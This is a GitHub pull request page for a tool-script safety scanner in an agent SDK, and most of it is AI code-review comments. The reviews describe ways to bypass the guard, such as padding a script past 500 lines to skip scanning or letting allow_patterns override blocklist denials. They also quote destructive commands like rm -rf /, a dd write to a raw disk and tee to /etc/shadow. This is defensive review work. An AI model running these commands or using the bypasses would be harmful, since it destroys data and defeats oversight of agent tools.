Skip to content

feat: add Tool Script Safety Guard#108

Open
lll-peanut wants to merge 36 commits into
trpc-group:mainfrom
lll-peanut:feat/tool-safety-guard
Open

feat: add Tool Script Safety Guard#108
lll-peanut wants to merge 36 commits into
trpc-group:mainfrom
lll-peanut:feat/tool-safety-guard

Conversation

@lll-peanut

@lll-peanut lll-peanut commented Jul 1, 2026

Copy link
Copy Markdown

实现 Tool 执行脚本的安全检查器,覆盖 6 种风险类型:

@github-actions

github-actions Bot commented Jul 1, 2026

Copy link
Copy Markdown

CLA Assistant Lite bot All contributors have signed the CLA ✍️ ✅

@lll-peanut

Copy link
Copy Markdown
Author

I have read the CLA Document and I hereby sign the CLA

Rook1ex added a commit to trpc-group/cla-database that referenced this pull request Jul 1, 2026
@codecov

codecov Bot commented Jul 1, 2026

Copy link
Copy Markdown

Codecov Report

❌ Patch coverage is 95.42910% with 98 lines in your changes missing coverage. Please review.
⚠️ Please upload report for BASE (main@f2a34ff). Learn more about missing BASE report.

Files with missing lines Patch % Lines
trpc_agent_sdk/tools/safety/_python_scanner.py 88.60759% 45 Missing ⚠️
trpc_agent_sdk/tools/safety/_rules.py 95.39295% 17 Missing ⚠️
trpc_agent_sdk/tools/safety/_scanner.py 96.85393% 14 Missing ⚠️
trpc_agent_sdk/tools/safety/_bash_scanner.py 96.44013% 11 Missing ⚠️
trpc_agent_sdk/tools/safety/_audit.py 90.78947% 7 Missing ⚠️
trpc_agent_sdk/tools/safety/_safety_filter.py 98.02632% 3 Missing ⚠️
trpc_agent_sdk/tools/safety/_safety_wrapper.py 98.94737% 1 Missing ⚠️
Additional details and impacted files
@@            Coverage Diff             @@
##             main        #108   +/-   ##
==========================================
  Coverage        ?   88.25751%           
==========================================
  Files           ?         491           
  Lines           ?       47128           
  Branches        ?           0           
==========================================
  Hits            ?       41594           
  Misses          ?        5534           
  Partials        ?           0           

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.

lll-peanut and others added 4 commits July 19, 2026 22:50
…mands dead code, improve redaction, fix 9 false positives

- Add _python_scanner.py: AST parsing with alias resolution, getattr detection, taint tracking
- Add _bash_scanner.py: shlex tokenization with quote tracking, combined-flag rm -rf detection
- Rewrite _scanner.py: three-layer scanning (AST + shlex + regex), early script-size check
- Fix whitelist_commands dead code in ProcessAndSystemRule and NetworkEgressRule
- Fix .env falsely matching os.environ, fix Python comments being flagged, fix re.compile false positive
- Fix env taint for HOME/USER/PATH, fix /tmp write over-escalation, fix bash echo string false positives
- Add threading.Lock to AuditLogger, add dual-layer evidence redaction
- Add examples/tool_safety/ Chinese README.md and DESIGN.md

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
@lll-peanut
lll-peanut force-pushed the feat/tool-safety-guard branch from 59cbb90 to 6a4495d Compare July 19, 2026 14:54
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

我已经掌握了足够的上下文,现在开始总结审查结论。

已确认的关键问题:

  1. 环境变量值在发现证据中泄露_scanner.py:170_redact_evidence 无法捕获 AWS 密钥格式)。ENV-001 的证据包含了黑名单环境变量的原始值(截断至 50 个字符)。清洗步骤的正则表达式需要 secret[:=]value 格式,但环境变量名称是 AWS_SECRET_ACCESS_KEY(secret 后跟 _,而非 [:=]),且 AWS 密钥值 wJalr... 不符合 _redact_evidence 中的 AKIA... 或任何已知格式。因此,实际的密钥值会在报告的 JSON 输出中泄露(该输出会通过 ReportGenerator / CLI 打印,并且报告对象会保存在 SafetyWrapper.last_report 和过滤器的 rsp.safety_report 中)。

  2. 多个 line_number=0 的黑名单环境变量在去重时被折叠 (_scanner.py:837-844, _deduplicate_findings)。去重键为 (rule_id, line_number)。ENV-001 的所有发现结果 line_number 均为 0,因此 N 个黑名单环境变量会缩减为仅保留 1 个。这是一个逻辑错误,导致审计发现丢失。

  3. _audit.py 的“进程安全”注释具有误导性 —— threading.Lock 无法在进程间提供保护;跨进程并发写入同一个 JSONL 文件仍可能导致行交错。文档字符串/注释声称是“线程/进程安全”,但 threading.Lock 仅在同一进程内有效。在使用 multiprocessing 的多工作进程 Agent 中,审计行可能会损坏。

  4. allow_patterns 覆盖会将黑名单危险操作升级为允许状态 (_scanner.py:194)。流程:先检查黑名单覆盖(→ 拒绝),随后 _check_allow_patterns 可以将非允许状态翻转为允许。因此,匹配 allow_patternsrm -rf / 会被允许。测试 test_scanner_allow_patterns_override_with_dangerous 明确断言了 rm -rf /tmp/safedir 会变成允许状态。这是一个设计层面的安全逃逸:黑名单本应是绝对的。但这是有意为之的(已测试)。我会标记这是一个值得注意的兼容性/安全设计风险,但既然是有意的,可能保持警告级别。

事实上,重读流程:黑名单覆盖仅在 decision != DENY 时运行(第 190 行),而 allow 仅在 decision != ALLOW 时运行。所以如果黑名单 → DENY,第 194 行的 allow 仍会触发(DENY != ALLOW),并可能覆盖为 ALLOW。这意味着 allow_patterns 绕过了黑名单。这是一个真正的安全隐患。我将其标记为警告(与测试文档记录一致,因此属于设计争议,而非单纯的 Bug)。

  1. _handle_for 仅在 len(node.iter.args) == 1 时检测大范围range(0, 10_000_000)range(10**9, 10**10) 会被漏掉。小问题。

  2. _check_secret_refs 正则表达式\$(?:{)?\w*...\w*(?:})?echo $PATH 不匹配,没问题。但 echo $MYTOKEN 可以匹配。问题不大。

让我再验证一下 _strip_python_comment_line / _check_blocklist_override 是否存在漏报情况。对于 Python s = "rm -rf /"(字符串),_strip_python_comment_line 会用空格替换字符串内容,因此 "r " 无法匹配 rm\s+-rf\s+/。很好 —— 避免了误报。但是,黑名单覆盖是在每一行上调用 _strip_python_comment_line(line),对于 BASH 行,这会剥离 Bash 字符串内容(将 '...' 视为 Python 字符串)。对于 echo 'rm -rf /',bash 扫描器有 _is_in_echo_string 检查来跳过。但在 _check_blocklist_override 中,它同时调用了 _strip_python_comment_line(会将 'rm -rf /'' ')和 _is_in_echo_string。因此,字符串内的 Bash rm -rf / 被正确跳过了。很好。

但有一个实际问题:对于 Bash 脚本,_check_blocklist_override 使用 _strip_python_comment_line,它将 Bash 的 $${}、反引号视为 Python 代码。带有 # 内联注释的 Bash 行 —— rm -rf / # cleanup —— _strip_python_comment_line 会在 # 处中断,所以 rm -rf / 会被保留并被捕获。没问题。但是 Bash $((2#1010)) 包含 # —— 会被作为注释剥离,可能掩盖匹配。属于边界情况,级别较低。

让我专注于最严重的、可验证的问题。让我验证 ENV 证据脱敏失败的假设,检查 _sanitize_findings 的正则表达式是否确实不匹配 env: AWS_SECRET_ACCESS_KEY=wJalr...

正则表达式(详细模式):(api[_-]?key|secret|password|token|bearer|authorization|private[_-]?key|passwd|auth_token|access_key)\s*[:=]\s*['\"]?[^\s'\"]+['\"]?。针对 env: AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY(不区分大小写)。它寻找 secret 后跟可选空格再跟 [:=]AWS_SECRET_ACCESS_KEY 中的子串 SECRET 后面是 _ACCESS_KEY= —— 在 secret[:=] 之间是 _ACCESS_KEY,而 \s* 不匹配 _access_key 替代方案呢?ACCESS_KEY(不区分大小写)匹配 access_key。后面是什么?=wJalr...。所以 \s*[:=] 匹配了 =['\"]? 为空,[^\s'\"]+ 匹配了 wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY(不含空格/引号 —— 实际上 / 是可以的)。所以 _sanitize_findings 确实通过 access_key 分支脱敏了它!所以它被脱敏为 access_key=***REDACTED***

等等 —— 但 f.evidenceenv: AWS_SECRET_ACCESS_KEY=wJalr...。替换 \1={mask} = access_key=***REDACTED***。所以被脱敏的部分是 AWS_SECRET_ACCESS_KEY(通过不区分大小写的 access_key 匹配)。捕获组 \1 = access_key(小写)。所以脱敏后,证据变成 env: access_key=***REDACTED***。嗯,这是被脱敏了。所以密钥值并没有通过 access_key 正则表达式泄露。

但是 —— 如果环境变量是 GITHUB_TOKEN 呢?env: GITHUB_TOKEN=ghp_xxxxtoken\s*[:=] —— GITHUB_TOKENTOKEN 后面有 =ghp_。匹配 token 后跟 =ghp_...。是的,脱敏了。那 AWS_ACCESS_KEY_ID=AKIAEXAMPLE 呢 —— access_key 不匹配 ACCESS_KEY_ID_ID 在后面,access_key 后面没有 [:=]……等等,ACCESS_KEY_ID 中匹配到 access_key,然后需要 \s*[:=],但后面是 _ID=_ 不匹配 \s*)。AKIA[0-9A-Z]{16}_redact_evidence 模式 —— 如果值是 AKIA + 16 个大写字母数字,就会匹配。所以 AWS_ACCESS_KEY_ID 的值如果是 AKIA 格式会被脱敏;否则可能不会。

所以环境变量泄露取决于变量名。对于测试中的 AWS_SECRET_ACCESS_KEYaccess_key 的匹配实际上是有效的。所以我的泄露担忧对于测试的特定值来说并不成立。但对于像 NPM_TOKEN=abc123longstringPYPI_TOKEN=...DOCKER_PASSWORD=... 这样的名称 —— password 匹配 PASSWORD 后跟 =value,已脱敏。token 匹配 *_TOKEN=,已脱敏。AZURE_CLIENT_SECRET 包含 secret 但后面是 _ 而非 [:=] —— 等等,AZURE_CLIENT_SECRET —— secret 子串在末尾,后面没有 [:=]。而 client 不在列表中。所以 AZURE_CLIENT_SECRET=realvalue 不会被 _sanitize_findings 脱敏。而且其值不符合 _redact_evidence 的已知格式。所以 AZURE_CLIENT_SECRET 的值会泄露。这是部分泄露。

另外 AWS_SESSION_TOKEN —— tokenSESSION_TOKEN 后面是 =value。匹配 token\s*[:=]TOKEN 后面是 =value。是的,已脱敏。GCLOUD_ACCESS_TOKEN —— token 后面是 =,已脱敏。

所以,对于像 AZURE_CLIENT_SECRET 这种格式的名称,泄露是真实存在的。我会保持这个警告,但将其表述为条件性的。

现在让我敲定最终结论。我也要再次确认 _deduplicate_findings 对 ENV-001 的折叠是否真实且重要 —— 它确实会导致在审计/报告中丢失发现记录。这是一个明确的正确性 Bug。让我通过检查是否存在其他 line_number=0rule_id 相同的情况来验证其影响。ENV-001 是主要的多个零行发现。还有 GLOBAL-001(单个)。所以折叠主要影响 ENV-001。我将把它列为警告(并非核心功能故障,但会导致审计不完整)。

让我再重新考虑一下 allow_patterns 绕过黑名单的问题 —— 这是安全工具中一个真正的设计问题。黑名单应该胜出。即使测试断言了允许状态,这也是一个值得标记的安全隐患。我会将其列为警告。

现在让我写下审查结果。我已经审查了 diff(新增的 trpc_agent_sdk/tools/safety/ 模块、CLI 脚本和测试)。以下是我的发现。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_scanner.py:189-195allow_patterns 可绕过 blocklist 强制 DENY,形成安全旁路
    • blocklist 本应是绝对阻断层,但决策流程先在 _check_blocklist_override 把命中 blocklist 的脚本升级为 DENY,随后 _check_allow_patterns 又因 decision != ALLOW 触发,一旦脚本匹配任一 allow 正则就把 DENY 翻转为 ALLOW。结果是策略里一条粗心的 allow 正则即可让 rm -rf /dd if=/dev/zero of=/dev/sda 等命中 blocklist 的危险脚本被放行。test_scanner_allow_patterns_override_with_dangerous 还固化了这一行为。建议让 blocklist 命中时直接短路返回 DENY,不再进入 allow 覆盖分支。

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_scanner.py:837-844:161-175:多个 blocklist 环境变量会被去重合并为一条

    • _deduplicate_findings(rule_id, line_number) 为键,而所有 ENV-001 finding 的 line_number 都是 0。若 scan_input.environment_variables 同时包含 AWS_SECRET_ACCESS_KEYAZURE_CLIENT_SECRETGITHUB_TOKEN 等多个 blocklist 变量,最终只保留一条,审计/报告会漏掉其余敏感变量。建议去重键加入 matched_pattern 或对 line_number==0 的 finding 不做合并。
  • trpc_agent_sdk/tools/safety/_scanner.py:170_scanner.py:748-790:部分 blocklist 环境变量取值会原样写入 evidence 并随报告外泄

    • ENV-001 的 evidence 直接拼接 env: {var}={value[:50]}_sanitize_findings 的正则只覆盖 secret/password/token/... 紧跟 [:=] 的形态,对 AZURE_CLIENT_SECRETsecret 后是 _ 而非 [:=],且 client 不在脱敏词表)这类变量名无法命中;_redact_evidence 也只识别 sk-/ghp_/AKIA/JWT/PEM 等格式,无法覆盖其取值。该 evidence 会进入 SafetyScanReport.to_dict()(CLI JSON 输出、ReportGenerator.saversp.safety_report)。建议 ENV-001 不要写入变量取值,仅记录变量名。
  • trpc_agent_sdk/tools/safety/_audit.py:34-46, 70-95:注释/docstring 声称"thread/process-safe",但 threading.Lock 不跨进程

    • _FILE_LOCKS 使用 threading.Lock,仅在同一进程内串行化写入;多进程(如 multiprocessing worker、多容器)并发追加同一 JSONL 时仍可能行交错乱。docstring 与代码注释却写成"thread/process-safe""will not interleave"。建议要么改为 fcntl/文件锁实现跨进程互斥,要么更正文档表述为仅线程安全。
  • trpc_agent_sdk/tools/safety/_python_scanner.py:656-672:大范围循环检测仅覆盖单参数 range(n)

    • _handle_for 要求 len(node.iter.args) == 1 才检测,range(0, 10_000_000)range(0, N, 1)range(10**9)10**9BinOpConstant)均被漏检,资源滥用规则存在明显绕过。建议同时处理双/三参数 range,并对非常量上界给出更宽松的判定。
  • trpc_agent_sdk/tools/safety/_bash_scanner.py:355-367:内联重定向解析会把目标误判为敏感路径或漏判

    • if ">" in t and len(t) > 1 分支对任意含 > 的 token(如 2>&1a>b 拼写、grep 'a>b' 中被 shlex 拆分后的片段)都会 split(">",1) 并校验后半段,既可能漏报真实 >/etc/passwd(当 > 与路径被 shlex 拆成两个 token 时由前一分支处理,但当拼成一个 token 时此分支处理),也可能产生误报。建议基于 token 流显式建模重定向算符而非字符串拆分。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_scanner.py:847-858_rules.py:908-923_extract_url_strip_python_comment_line/_is_in_echo_string_scanner.py_rules.py 中各有一份近乎相同的实现,后续两边逻辑漂移(如脱敏规则、字符串剥离策略)容易产生不一致判定,建议抽到公共内部模块复用。

总结

整体新增的安全扫描模块结构清晰、测试覆盖较全,但存在一个 Critical 级安全旁路(allow_patterns 可覆盖 blocklist 的 DENY)以及若干稳定性/安全性 Warning(环境变量 finding 去重丢失与取值外泄、审计锁的跨进程误导性声明、循环检测与重定向解析的漏检),其中 Critical 问题在合入前应修复。

测试建议

  • 补充用例:当 environment_variables 同时包含多个 blocklist 变量时,断言报告/审计中每个变量都产生独立的 ENV-001 finding(覆盖去重折叠问题)。
  • 补充用例:构造同时命中 blocklist pattern 与某条 allow_pattern 的脚本(如 rm -rf /tmp/x 配 allow rm\s+-rf\s+/tmp/x),断言最终决策为 DENY 而非 ALLOW(覆盖 allow 旁路)。
  • 补充用例:AZURE_CLIENT_SECRET=<value> 传入时,断言 report 序列化后的 evidence 中不包含原始取值。

# Determine decision
decision = self._policy.decision_for(max_risk)

# Apply blocklist override — blocklist patterns always → deny

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

allow_patterns 可绕过 blocklist 的 DENY,形成安全旁路

决策流程先在 _check_blocklist_override 将命中 blocklist 的脚本升级为 DENY,随后 _check_allow_patterns 又因 decision != ALLOW 触发,一旦脚本匹配任一 allow 正则就把 DENY 翻转为 ALLOW,导致 rm -rf / 等危险脚本被放行。建议 blocklist 命中时直接短路返回 DENY,不再进入 allow 覆盖分支。

@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

确认:NEEDS_HUMAN_REVIEW 会执行(测试 11 断言 marker==1,即工具运行了)。因此,过大的脚本绕过确实会导致执行。这是一个真正的严重漏洞。

让我再验证一下 512 KiB 的 max_script_bytes 是否从未被检查——已通过 grep 确认。因此,一个 501 行以下的单行巨型脚本(正则表达式中包含巨大的载荷)不会被字节大小拦截。但行数限制是主要问题。

现在我已经掌握了足够的信息。让我再检查一下在分词前针对整个源代码运行的正则表达式模式(_check_fork_bomb_check_heredocs_check_long_sleeps_check_secret_refs)是否存在 ReDoS 风险。Fork bomb 正则表达式 ([A-Za-z_][A-Za-z0-9_]*)\s*\(\s*\)\s*\{\s*\1\s*\|\s*\1\s*&[^}]*\} 中的 [^}]* 是没问题的(线性复杂度)。secret refs 正则表达式是没问题的。这里不存在严重的 ReDoS 风险。

让我完成审查结论的总结。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_scanner.py:111-137:超大脚本跳过全部扫描可被绕过拦截
    • script_lines > max_script_lines(默认 500)时直接早返回,完全不运行任何 rule / AST / bash 扫描,决策为 NEEDS_HUMAN_REVIEW;而 ToolSafetyFilter/SafetyWrapper 仅在 DENY 时阻断,NEEDS_HUMAN_REVIEW 仍放行执行(见 _safety_filter.py:133-145 与测试 test_tool_level_11_bash_pipe_review 断言 marker==1)。攻击者只需把 rm -rf / 之类载荷用空行/注释填充到 >500 行即可彻底绕过所有内容检测并执行。建议:对超大脚本直接 DENY(或至少在 blocklist_patterns 命中时强制 DENY),并对整体脚本先做 blocklist 扫描再判断体积。
    if script_lines > self._policy.max_script_lines:
        ...
        decision=Decision.NEEDS_HUMAN_REVIEW
        if self._policy.decision_for(RiskLevel.MEDIUM) != Decision.DENY else Decision.DENY,
        ...
        return SafetyScanReport(...)   # 所有规则被跳过

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_scanner.py:193-195allow_patterns 可覆盖 blocklist 的 DENY,构成安全旁路

    • allow 模式匹配命中后会强制把决策改为 ALLOW,且顺序在 blocklist 强制 DENY 之后,连 rm -rf /tmp/safedir 这类高危脚本都会被放行(测试 test_scanner_allow_patterns_override_with_dangerous 明确断言 ALLOW)。由于 _check_allow_patternsre.search 对整段脚本匹配,任何过宽的正则(如 .* 或误配)都会让全部拦截失效。建议:allow_patterns 不得覆盖 blocklist / CRITICAL 命中,或在 allow 命中后仍保留对 blocklist_patterns 的强制 DENY。
  • trpc_agent_sdk/tools/safety/_scanner.py:111_policy.py:48max_script_bytes/max_timeout_seconds/max_output_bytes 配置项从未被使用

    • 这三个全局限制在策略中定义并加载,但扫描路径只检查 max_script_lines,字节数从未校验。攻击者可用单行超长脚本(如巨型 regex/eval payload)规避“行数”维度。建议在早返回前增加 len(script.encode()) > max_script_bytes 的字节数检查。
  • trpc_agent_sdk/tools/safety/_bash_scanner.py:373| 检测会把 ||(逻辑或)误报为管道

    • _check_operators 仅判断 "|" in raw_tokens,shlex 会把 || 拆成两个 | token,导致 cmd1 || cmd2 被记为 pipe(MEDIUM),造成误报与决策升级。建议像 background 分支那样区分 ||/|& 与单独的 |
  • trpc_agent_sdk/tools/safety/_python_scanner.py:197-200_DEPENDENCY_CALLS 定义后从未使用

    • 该集合(含 pip.main)在 _handle_call 中没有任何引用,导致 AST 层无法检测 Python 内的依赖安装调用;当前仅靠 regex 规则覆盖,覆盖面弱于设计意图。建议在 _handle_call 中补上对该集合的判定,或删除死代码以免误导。
  • trpc_agent_sdk/tools/safety/_safety_wrapper.py:219-241:装饰器在找不到 script_arg_name 时静默放行

    • async_wrapper/sync_wrapper 仅从 kwargs 或“第一个含该 key 的 dict 类型位置参数”中取脚本,取不到时直接调用原函数而不扫描。若调用方以非约定字段名传脚本,安全检查被完全跳过且无告警。建议取不到脚本时至少记一条 warning,或允许配置多个候选字段名。

💡 Suggestion

总结

存在一个必须修复的 Critical 问题:超过 max_script_lines 的脚本会完全跳过内容扫描且仍被执行,构成可被轻易构造载荷绕过的安全旁路。其余为 allow_patterns 覆盖 blocklist、未使用的字节限制、|| 误报、装饰器静默放行等 Warning 级问题,建议一并修复。

测试建议

  • 补充“>500 行脚本中嵌入 rm -rf / / eval(...) 等高危内容”的场景,断言其决策为 DENY 且被 filter 阻断(当前测试 test_script_too_large_no_crash 反而固化了绕过行为)。
  • 补充 allow_patterns 与 blocklist 同时命中时的测试,断言 blocklist 优先;补充单行超大字节数脚本应被拒绝的测试。

# EARLY RETURN: script too large → skip expensive scanning
# (moved BEFORE rules — was a bug: ran after all rules)
# ══════════════════════════════════════════════════════════════
if script_lines > self._policy.max_script_lines:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

超大脚本跳过全部扫描可被绕过拦截

当 script_lines 超过 max_script_lines(默认 500)时直接早返回,不运行任何 rule/AST/bash 扫描,决策为 NEEDS_HUMAN_REVIEW 仍放行执行。攻击者用空行/注释填充到 >500 行即可彻底绕过内容检测执行 rm -rf / 等载荷。建议对超大脚本直接 DENY,或至少在 blocklist_patterns 命中时强制 DENY,并先做整体 blocklist 扫描再判断体积。

@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

I've completed a thorough review of the PR diff. Here are my findings.

发现的问题

🚨 Critical

未发现 Critical 级别问题。

⚠️ Warning

  • scripts/tool_safety_check.py:205-210_print_summary--no-color 路径下 RESET 未定义导致 NameError

    • RESET 仅在 else 分支(彩色模式)赋值;当 no_color=True 时函数体后续多处 f"…{RESET}…" 会抛 NameError,使 --no-color 在 TTY 下打印摘要时崩溃(扫描本身已完成并输出到 stdout,但摘要步骤报错)。修复:在 if no_color: 分支也设 RESET = "",或将 RESET = "\033[0m" 提到分支外再用 no_color 决定其值。
      if no_color:
          R, G, Y, W, B = "", "", "", "", ""
      else:
          R, G, Y, W, B = "\033[91m", ...
          RESET = "\033[0m"   # 仅此处定义
      # ↓ no_color 时 RESET 未定义
      print(f"\n{B}═══...{RESET}", file=sys.stderr)
  • trpc_agent_sdk/tools/safety/_scanner.py:196-201allow_patterns 可覆盖 blocklist 的 DENY,违反“blocklist 始终 deny”契约

    • 代码先执行 _check_blocklist_override(命中即 DENY),随后又执行 if decision != ALLOW and self._check_allow_patterns(script): decision = ALLOW,导致一个过于宽泛的 allow_patterns(如 .*)会绕过 rm -rf /mkfs>/dev/sda 等黑名单强制拦截。YAML 注释与 DESIGN.md 均声明 blocklist “always result in deny”,此处实现与文档矛盾。建议:allow_patterns 仅在 decision 为 NEEDS_HUMAN_REVIEW 时生效,或在 blocklist 命中后不再允许 allow 覆盖。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:419-431_check_operators|| 误报为管道
    • punctuation_chars 包含 |,shlex 会把 || 拆成两个 | token,"|" in raw_tokens 即真,于是 cmd1 || cmd2(逻辑或)产生 pipe finding(MEDIUM → 触发人工复核),造成误报。建议在判定前合并相邻 |/&,区分 ||&& 与单字符操作符。

总结

整体为一个新增的安全扫描模块,结构与测试覆盖较完整;未发现 Critical 阻塞问题。存在两处建议修复的 Warning:CLI --no-color 路径的 RESET 未定义崩溃,以及 allow_patterns 可覆盖 blocklist 强制 DENY 的安全契约违背。

测试建议

  • 补充用例:allow_patterns 命中且 blocklist_patterns 同时命中时,验证决策应为 DENY(覆盖上述覆盖逻辑)。
  • 补充用例:tool_safety_check.py --no-color 在 TTY 下完整输出摘要不抛异常(或对 _print_summaryno_color=True 的单元测试)。

@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

Based on my analysis of the PR diff and surrounding repository context, here is my review.

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_scanner.py:218-222:allow_patterns 可覆盖 blocklist 的 DENY,破坏安全不变量

    • 决策流水线先做 blocklist 升级为 DENY(仅当 decision != DENY 时),随后 if decision != ALLOW and self._check_allow_patterns(script): decision = ALLOW 会把任何非 ALLOW(包括来自 blocklist 或 CRITICAL 风险的 DENY)降回 ALLOW。DESIGN.md 明确声明"允许模式不能覆盖来自黑名单的 DENY",但代码实现相反。攻击者只需在策略中存在一个宽松的 allow_pattern(或被误配)即可让 rm -rf /(命中 blocklist rm\s+-rf\s+/)变为 ALLOW。修复:allow_patterns 仅在 decision == NEEDS_HUMAN_REVIEW 时生效,或显式跳过已被 blocklist 命中的情况。
  • trpc_agent_sdk/tools/safety/_scanner.py:197:ENV-001 证据泄露敏感环境变量真实值

    • 证据字段写成 f"env: {blocked_var}={scan_input.environment_variables[blocked_var][:50]}",而该字段会原样进入 SafetyScanReport.findings[].evidence、审计 JSONL(_audit.py:84)和报告 JSON。被 blocklist 的变量正是 AWS_SECRET_ACCESS_KEYGITHUB_TOKENNPM_TOKEN 等真实密钥,这里却把密钥前 50 个字符明文写进安全审计日志,mask_secrets_in_reports 也只对 key=value 形式脱敏、不会处理 env: NAME=value。这会让安全审计系统本身成为密钥泄露通道。修复:证据只记录变量名,不保留值。

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:282tee 写入敏感路径未被检测(死分支)

    • 分支条件 cmd_lower in _FILE_WRITE_COMMANDS and cmd_lower == "dd"_FILE_WRITE_COMMANDS = {"tee","dd"},因 and cmd_lower == "dd" 永远把 tee 排除在外,tee /etc/shadowecho secret | tee ~/.aws/credentials 这类敏感写入不会被标记。修复:为 tee 单独处理或去掉 and cmd_lower == "dd" 并补 tee 路径检查。
  • trpc_agent_sdk/tools/safety/_scanner.py:149:三元表达式两分支相同,是残留逻辑错误

    • decision=Decision.DENY if blocklist_hit else Decision.DENY 两个分支都返回 DENY。虽然"超大脚本一律 DENY"是测试断言的预期行为,但该写法表明作者原意可能想区分"无 blocklist 命中时按 needs_human_review 处理",至少应改为直接 Decision.DENY 以免误导后续维护者,并核对是否真的要对所有超大脚本(含纯注释填充)一律 DENY。
  • tests/test_tool_safety.py:263:装饰器测试用 "rm -rf / etc" 非法 Bash,断言脆弱

    • 该脚本被 safety_wrapper 扫描时为 ScriptType.UNKNOWN,仅靠 _find_literalrm -rf 的子串匹配命中才 DENY。一旦 _detect_type 或字面量匹配逻辑调整,该测试会失效或误判。建议改用确定会命中的脚本(如 rm -rf /)。
  • trpc_agent_sdk/tools/safety/examples/:示例报告文件成对重复

    • report_01__safe_python.jsonreport_01_safe_python.json(01–09 各一对,共 9 组重复)内容仅 scan_id/timestamp/scan_duration_ms 不同。这会增加维护成本并让"生成报告"脚本难以确定写入哪个文件名。建议统一为单一命名规范并删除冗余文件。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_safety_filter.py:15-18:模块 docstring 中的注册示例与实际 API 不符
    • 示例 @register_tool_filter("tool_safety") 只传一个参数,而 register_tool_filter = partial(register_filter, FilterType.TOOL) 仍要求 (name)——实际只接受 name 一个参数是对的,但示例同时 import FilterType 却未使用,且 ToolSafetyFilter 本身未在框架中自动注册,示例会让用户误以为装饰器能直接挂载该 filter。建议修正示例为可直接运行的用法或删除误导性 import。

总结

整体实现完整、测试覆盖较广,但存在两个必须修复的安全问题:allow_patterns 可覆盖 blocklist DENY(安全不变量被打破),以及 ENV-001 证据把敏感环境变量明文写入审计日志。修复这两点后其余为可选改进。

测试建议

  • 补充"allow_patterns 命中但 blocklist 也命中"的用例,断言最终决策为 DENY(覆盖 _scanner.py:218-222 的安全不变量)。
  • 补充"传入 blocklisted 环境变量"后检查审计日志/报告 evidence 中不出现该变量真实值的用例(覆盖 _scanner.py:197)。

Comment thread trpc_agent_sdk/tools/safety/_scanner.py Outdated

# Apply blocklist override — blocklist patterns always → deny
if decision != Decision.DENY:
decision = self._check_blocklist_override(script, decision)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

allow_patterns 可覆盖 blocklist 的 DENY

决策流水线先做 blocklist 升级为 DENY,随后 if decision != ALLOW and self._check_allow_patterns(script): decision = ALLOW 会把 DENY(含 blocklist 命中)降回 ALLOW,破坏 DESIGN.md 声明的安全不变量。建议 allow_patterns 仅在 decision == NEEDS_HUMAN_REVIEW 时生效。

Comment thread trpc_agent_sdk/tools/safety/_scanner.py Outdated
rule_id="ENV-001",
category=RiskCategory.SENSITIVE_INFO_LEAK,
risk_level=RiskLevel.HIGH,
evidence=f"env: {blocked_var}={scan_input.environment_variables[blocked_var][:50]}",

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ENV-001 证据泄露敏感环境变量真实值

证据字段 f"env: {blocked_var}={...[:50]}" 会把 blocklist 命中的密钥(如 AWS_SECRET_ACCESS_KEY)前 50 字符明文写入审计日志和报告,且 mask_secrets_in_reports 不会处理该格式。修复:证据只记录变量名,不保留值。

1. Fix RESET NameError in _print_summary when --no-color (tool_safety_check.py)
   - RESET was only defined in the color branch, causing crash with --no-color.

2. Fix allow_patterns overriding blocklist DENY (_scanner.py)
   - allow_patterns now only upgrades NEEDS_HUMAN_REVIEW → ALLOW,
     never overrides DENY from risk-level or blocklist decisions.

3. Fix ||/&& false positives in _check_operators (_bash_scanner.py)
   - shlex splits || into two | tokens causing false pipe detection.
   - Similarly && was falsely detected as background operator.
   - Now skips adjacent |/| and &/& to correctly identify shell operators.

4. Update tests to reflect new allow_patterns behavior (test_tool_safety.py)

5. Update DESIGN.md and README.md to document fixed behaviors
   - Decision pipeline: allow_patterns only upgrades NEEDS_HUMAN_REVIEW
   - Oversized scripts: always DENY with blocklist pre-check

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

已确认:如果找不到脚本,装饰器会静默跳过扫描(不记录日志,也不发出警告)。这是一个安全漏洞——受装饰的函数看起来受到了保护,但如果参数结构不匹配,可能会完全跳过检查。

另外请注意,即使找到了脚本,它也只调用 wrapper_inst.check(script) 而不使用 command_argsworking_directoryenvironment_variables —— 因此装饰器路径会忽略 command_args 扫描(与过滤器路径不同)。command_args 中的危险模式将无法通过装饰器检测到。次要问题。

现在我已经有足够的信息了。让我再快速检查一下 _check_blocklist_override 的逐行处理与多行模式(例如 heredoc)的交互。黑名单是逐行检查的。如果 rm -rf / 出现在 heredoc 中,会被检测到(保守做法)。没问题。

让我检查最后一件事 —— AuditLoggermkdir 函数创建父目录时使用了 parents=True,这可能会根据路径创建意外目录。路径由调用者控制。风险较低。

